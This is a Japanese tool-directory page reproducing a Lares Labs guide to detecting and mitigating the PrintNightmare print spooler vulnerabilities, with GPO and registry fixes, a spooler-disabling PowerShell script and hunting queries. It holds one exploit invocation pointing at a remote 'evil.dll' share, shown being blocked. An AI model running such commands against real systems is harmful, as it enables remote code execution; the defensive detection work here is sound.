Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-1675 — CVE-2021-1675 検出情報 | Kitploit
ツール/GitHubGitHub/laresllc/cve-2021-1675
特権昇格脆弱性分析エクスプロイトフォレンジック学習と教育インシデントレスポンス厳選リソース
GitHublaresllc/cve-2021-1675

CVE-2021-1675

CVE-2021-1675 検出情報

リポジトリを見る
2143833年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

出典: Lares Labs: CVE-2021-1675 および CVE-2021-34527 の検出と修復情報

🚨 パッチがリリースされました:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527

このパッチはRCEを修正することが確認されていますが、ローカル権限昇格はまだ修正されていないようです。そのため、以下に示す回避策は引き続き推奨されます。

このリポジトリには、CVE-2021-1675 および CVE-2021-34527 攻撃のEVTXサンプルと、関連するテレメトリを生成するために使用できる最小限のSysmon設定ファイルが含まれています。

これらのルールは回避される可能性があることに注意してください。適切にパッチを適用し、ドメインコントローラーでプリンタースプーラーサービスを無効にしてください。

これらの強化変更の結果として意図しない結果が生じる可能性があるため、本番環境に展開する前に推奨される修正をすべてテストしてください。このリポジトリの内容と見つかった情報を説明したブログ記事を書きました。こちら: https://labs.lares.com/detection-and-mitigation-printnightmare/

Vulnerability Check by Marcello https://twitter.com/byt3bl33d3r

  • https://twitter.com/byt3bl33d3r/status/1412798525323157504

  • https://github.com/byt3bl33d3r/ItWasAllADream

フローチャート

Benjamin Delpy のおかげで、この問題の悪用可能性に関する更新されたフローチャートがあり、システムが脆弱である可能性があるかどうかを判断できます。

上記フローチャートに示された修正

  1. GPO: Security Settings -> System Services -> Print Spooler -> Disable
    1. Registry: HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4
  2. GPO: Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections - > Disable
    1. Registry: HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2
  3. GPO: Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
    1. Registry: HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0
  4. Registry: HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1

回避策の修正

2021年6月にMicrosoftがリリースしたパッチはCVE-2021-1675を修正しますが、残念ながらPrintNightmare(CVE-2021-34527)として知られる問題は修正していません。そのため、プリンタースプーラーサービスを無効にすることで回避策を適用できます。以下にGPOとPowerShellの両方での方法を示します。このGPOは、SharpPrintNightmareが使用するMS-RPRN RpcAddPrinterDriverEx関数とWin32 AddPrinterDriverEx関数の両方を修正することが確認されています。

GPO

以下のGPOを設定すると、スプーラーへのクライアント接続を拒否できます。これは、スプーラーサービスを完全に無効にすることが選択肢にならない場合の潜在的な回避策です。これはラボ環境でドメインコントローラーとエンドポイント(W7/W10)に対してテスト済みであり、ユーザーはプリンターの追加/削除と印刷を引き続き行えますが、エクスプロイトの動作を停止します。注: このGPOは、Microsoftの脆弱性ページに記載されているようにCVE-2021-34527も修正することが理解されています。

Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections これを無効に設定します:

次に、影響を受けるホストでスプーラーサービスを再起動します。うまくいけば、エクスプロイトはアクセスを拒否されます:

root@kitploit:~
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll'                                                                                    1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed

Pre-Windows 2000 Compatible Access からの Authenticated Users の削除

別の修正/回避策は、Dirk-jan によって発見されたように、Pre-Windows 2000 Compatible Access から authenticated users を削除することです。

「Authenticated Users」グループが「Pre-Windows 2000 Compatible Access グループ」のメンバーではないことを確認してください。(デフォルトでは、これらのグループは現在のWindowsバージョンには含まれていません。)以下のスクリーンショットに示すように、メンバーがいないはずです:

これを行う方法が不明な場合は、次の手順を実行できます:

  1. 「Active Directory ユーザーとコンピューター」を開きます(さまざまなメニューから利用可能、または「dsa.msc」を実行)。
  2. 左側のペインで確認中のドメインを展開し、「Builtin」コンテナーを選択します。
  3. 右側のペインで「Pre-Windows 2000 Compatible Access」グループをダブルクリックします。
  4. 「メンバー」タブを選択します。
  5. 「Anonymous Logon」、「Authenticated Users」、または「Everyone」グループがメンバーの場合、それぞれを選択して「削除」をクリックします。

PowerShell

ドメインからすべてのDCを取得するためにADDomainControllerを使用するように0gtweetのスクリプトを適応しました。

root@kitploit:~
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory

$computers = Get-ADDomainController -filter * | %{ $_.name }

foreach ($computer in $computers)
{
    Write-Host "Processing $computer ..." 
    $service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
    if (!$service)
    {
        Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
        continue
    }
    if ($service.Status -ne "Running")
    {
        Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
        continue
    }
    $printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
    if (!$printers)
    {
        Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
        continue
    }

    $disableSpooler = $true
    foreach ($DriverName in ($printers.DriverName))
    {
        if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
        {
            Write-Host "  Printer found: $DriverName" -ForegroundColor Green
            $disableSpooler = $false
        }
    }
    if ($disableSpooler)
    {
        Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
        (Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
        Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose

    }
    else
    {
        Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
    }
}

Sysmon設定ファイル

提供されているSysmon設定ファイルCVE-2021-1675.xmlは、Sysmon Config Pusherでインストールできます: https://github.com/LaresLLC/SysmonConfigPusher

Splunkクエリ

root@kitploit:~
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)

代替アプローチ

Print Spoolerの悪用をハントする一般的な方法は、ペイロードDLLの読み込みによるプリントスプーラーによって生成されたエラーを探すことです。これは、spoolsv.exe による WerFault.exe の生成、またはプリントスプーラーサービスの予期しない終了を示すイベントID 7031の生成を探すことで行えます。

Alternative Splunk Query

root@kitploit:~
((index=sysmon EventCode=1 
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe") 
OR (index=windows Channel=System EventCode=7031 
Message="The Print Spooler service terminated unexpectedly"))

追加アプローチ

cube0x0の実装を悪用するテストを数回行った後、追加のアーティファクトが見つかりました: Share Name: \\*\IPC$ と Relative Target Name: spoolss を持つイベントID 5145。このアプローチの利点は、攻撃の実行に使用された送信元IP(Source Address)とアカウント(Security ID または Account Name)を確認できることです。実際のプリントサーバーからの誤検知が発生する可能性がありますが、ホスト名と Access Mask でフィルタリングできます。hostname-username-access mask の組み合わせでフィルタリングできる他の誤検知が存在する可能性があります。

Splunk Query

root@kitploit:~
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss

Olaf Hartong による Sentinel / MDE の KQL クエリ

root@kitploit:~
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000) 
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"

Source: https://twitter.com/olafhartong/status/1410229699993874442

Zeek の観測結果

使用ツール: https://github.com/cisagov/Malcolm

DLLのファイル転送:

「攻撃」マシンからのNTLM認証:

関連するRPC呼び出し:

🟢 PCAPファイル利用可能

🟢 Zeek dce_rpc.log

CVE-2021-1675 の Carbon Black ハンティングクエリ

Source: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md

  • 1 POCコードを検出するSigmaルールに基づく
root@kitploit:~
filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123
  • 2 POCコードを検出するSigmaルールに基づく
root@kitploit:~
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND parent_cmdline:spoolsv\.exe
  • 3 POCコードを検出するSigmaルールに基づく
root@kitploit:~
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND process_name:spoolsv\.exe
  • 4 ファイルイベント(未署名)を検出します。ベースラインに合わせて調整してください。ここでは、悪用と悪用後の動きがまだ不明確であるため、意図的にドライバーパスを指定していません。必ずベースライン(既知のハッシュなど)に合わせて調整してください。
root@kitploit:~
process_name:spoolsv\.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
  • 5 ファイルイベント(Microsoft以外による署名)を検出します。ベースラインに合わせて調整してください。
root@kitploit:~
process_name:spoolsv\.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"

参考文献

Twitter Posts referencing attacks and hunting queries

  • https://twitter.com/ionstorm/status/1410258694386880518
  • https://twitter.com/dez_/status/1410298162548559875
  • https://twitter.com/markus_neis/status/1410255678996942854
  • https://twitter.com/cyb3rops/status/1410250996362715137
  • https://twitter.com/gentilkiwi/status/1410066827590447108
  • https://twitter.com/wdormann/status/1410198834970599425
  • https://twitter.com/NathanMcNulty/status/1410289115354914820
  • https://twitter.com/mvelazco/status/1410291741241102338
  • https://twitter.com/StanHacked/status/1410527329839980547
  • https://twitter.com/_dirkjan/status/1410618720460754947
  • https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery
  • https://twitter.com/cube0x0/status/1411364227089117185

Benjamin Delpy によるドメインコントローラーと非ドメインコントローラーの観測結果:

  • https://twitter.com/gentilkiwi/status/1410614489167269892

Outflank の Stan Hegt による非常に便利なフローチャート

  • https://twitter.com/StanHacked/status/1410922404252168196

Microsoft からの新しいCVE割り当て:

  • https://twitter.com/msftsecresponse/status/1410768945590636548

SANS ICS 日記:

  • https://isc.sans.edu/forums/diary/CVE20211675+Incomplete+Patch+and+Leaked+RCE+Exploit/27588/
ツールをダウンロード